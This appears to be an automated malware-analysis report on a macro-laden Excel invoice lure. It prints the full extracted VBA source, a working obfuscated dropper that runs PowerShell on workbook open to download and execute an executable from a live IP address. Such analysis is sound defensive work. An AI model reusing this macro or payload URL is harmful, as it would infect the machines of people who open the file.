MALICIOUS
88
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample is an OOXML document containing VBA macros. A critical heuristic detected the use of the Shell() function within the VBA code. The VBA script attempts to download a second-stage payload (ConsoleApp17.exe) from the URL "http://84.252.121.97/nus/ConsoleApp17.exe" using PowerShell and save it as "Qflmxqlknwnydcyltyl.bat" before execution. The document body presents a fake invoice lure to encourage user interaction.
Heuristics 3
-
VBA project inside OOXML medium 1 related finding OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Fake invoice / payment lure low SE_INVOICE_LUREDocument contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2483 bytes |
SHA-256: 9632e5ccb1fa95a1d3f562505d8032a78717c5695e99a74ad375fb8dcc9c1f43 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Function Prefix3() As String
Dim x As String
Dim s As String
s = " cne- 1 niw- exe.llehsrewop\0.1"
s = s + "v\llehSrewoPswodniW\23metsyS\swodniW\:C"
x = StrReverse(s)
Prefix3 = x
End Function
Private Sub Workbook_Activate()
Prefix0
End Sub
Private Function Prefix2() As String
Dim text As String
text = text + "JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBLAGQAZABiAGoAcABtAG0AdgBhA"
text = text + "HEAeAB6AHAAeQBiAGQAdwBxAHYAdgB2AHYALgBlAHgAZQAiADsAKABOAGUAdw"
text = text + "AtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEM"
text = text + "AbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0"
text = text + "AHQAcAA6AC8ALwA4ADQALgAyADUAMgAuADEAMgAxAC4AOQA3AC8AbgB1AHMAL"
text = text + "wBDAG8AbgBzAG8AbABlAEEAcABwADEANwAuAGUAeABlACIALAAiACQAZQBuAH"
text = text + "YAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApADsAUwB"
text = text + "0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAIgAkAGUAbgB2ADoAQQBQAFAA"
text = text + "RABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA="
Prefix2 = text
End Function
Private Function Prefix1() As String
Dim x As String
x = x + "st"
x = x + "art "
x = x + "/M" + "I" + "N "
Prefix1 = x
End Function
Private Sub Worksheet_PivotTableAfterValueChange(ByVal TargetPivotTable As PivotTable, ByVal TargetRange As Range)
End Sub
Private Sub Prefix0()
On Error Resume Next
ActiveWorkbook.Save
Dim bat As String
bat = "Qflmxqlknwnydcyltyl.bat"
Dim d As Double
Dim text As String
text = Prefix1() + Prefix3() + Prefix2()
Open bat For Output As #1
Print #1, text
Close #1
d = Shell(bat, 0)
End Sub
Attribute VB_Name = "Table 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 6144 bytes |
SHA-256: 1baa73f377fcb3e41f7d0c1721d9f36f6ac866a31e199e54bd728491610f55e5 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.